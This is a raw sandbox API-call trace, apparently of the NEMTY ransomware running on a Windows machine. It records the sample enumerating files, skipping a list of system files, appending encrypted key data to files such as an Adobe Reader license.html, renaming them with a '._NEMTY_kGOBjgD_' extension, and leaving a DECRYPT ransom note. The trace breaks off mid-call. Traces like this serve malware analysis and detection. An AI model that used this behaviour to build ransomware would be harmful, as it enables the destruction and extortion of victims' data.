lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.706] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.706] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.707] Sleep (dwMilliseconds=0x5) [0172.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a98bcb0, dwHighDateTime=0x1d561e8)) [0172.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a98bcb0, dwHighDateTime=0x1d561e8)) [0172.721] GetLastError () returned 0xb7 [0172.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.721] GetLastError () returned 0xb7 [0172.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.721] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.721] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.721] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.721] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="uBrrrJdYwOBkLDCC7NcjuGVvlwK3/9EBocAz3G/C5eiDzmBXTldiO09jBfm3HMva\r\nWZdSnXk8hObBdqDntRu9cdOI+rXZDxr3RKzAfTWG6Qv68zDcuBZc3Gm3QmYJR2UT\r\n1zdbqLkD/YORyIKPcRpEm0has8yk15yVJfm15ZjnGmjMhtt/5zNYdf90E+XD103g\r\nIEyiEF7TczzIBfqa7byc79Z76dxY5XTcHSUMDAtrlbx2XrWGVZXQjv7DolMZ60s1\r\nybTOdCoAU5dhblnVqR09ahffA9A5NQMvofreVe2q+LbGmDPs0G+0lOduEnLyD5Ft\r\np98Znpn3KalC0VwKWFwBFw==\r\n", pcchString=0x653e5dc) returned 1 [0172.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.722] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=43061) returned 1 [0172.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa830) returned 0x6352c48 [0172.722] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.722] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa830, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa830, lpOverlapped=0x0) returned 1 [0172.726] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.726] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa830, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa830, lpOverlapped=0x0) returned 1 [0172.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.727] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=43061, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa835 [0172.727] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.727] CloseHandle (hObject=0x3b0) returned 1 [0172.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.727] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html._nemty_kgobjgd_")) returned 1 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.728] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a93f9f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a93f9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a93f9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.728] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.729] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a93f9f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a93f9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a93f9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.729] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.729] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2=".") returned 1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2="..") returned 1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2="...") returned 1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2="windows") returned -1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2="$RECYCLE.BIN") returned 1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2="rsa") returned -1 [0172.729] lstrcmpiW (lpString1="ESP", lpString2="NTDETECT.COM") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="ntldr") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="MSDOS.SYS") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="IO.SYS") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="boot.ini") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="boot.ini") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="AUTOEXEC.BAT") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="ntuser.dat") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="desktop.ini") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="CONFIG.SYS") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="RECYCLER") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="BOOTSECT.BAK") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="bootmgr") returned 1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="programdata") returned -1 [0172.730] lstrcmpiW (lpString1="ESP", lpString2="appdata") returned 1 [0172.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ESP", lpUsedDefaultChar=0x0) returned 3 [0172.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ESP", lpUsedDefaultChar=0x0) returned 3 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, 